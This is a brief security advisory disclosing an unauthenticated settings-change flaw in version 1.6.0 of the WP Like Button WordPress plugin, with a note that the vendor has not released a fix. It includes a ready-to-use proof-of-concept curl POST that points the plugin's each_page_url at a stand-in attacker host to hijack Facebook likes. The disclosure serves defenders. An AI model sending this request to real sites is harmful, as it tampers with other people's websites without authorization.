Authentication Bypass Vulnerability in the WP Like Button plugin version 1.6.0 allows unauthenticated attackers to change the settings of the plugin. The contains() function in wp_like_button.php did not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the settings of the plugin.
Proof of Concept
the curl command below allows an attacker to change the each_page_url parameter to https://attacker.com. This allows the attacker to hijack Facebook likes.
curl -k -i --raw -X POST -d "page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display=1&display=2&display=4&display=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url=
https://attacker.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb=" "https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1" -H "Content-Type: application/x-www-form-urlencoded"
No update has been released by the vendor. Users are advised to switch to a different plugin.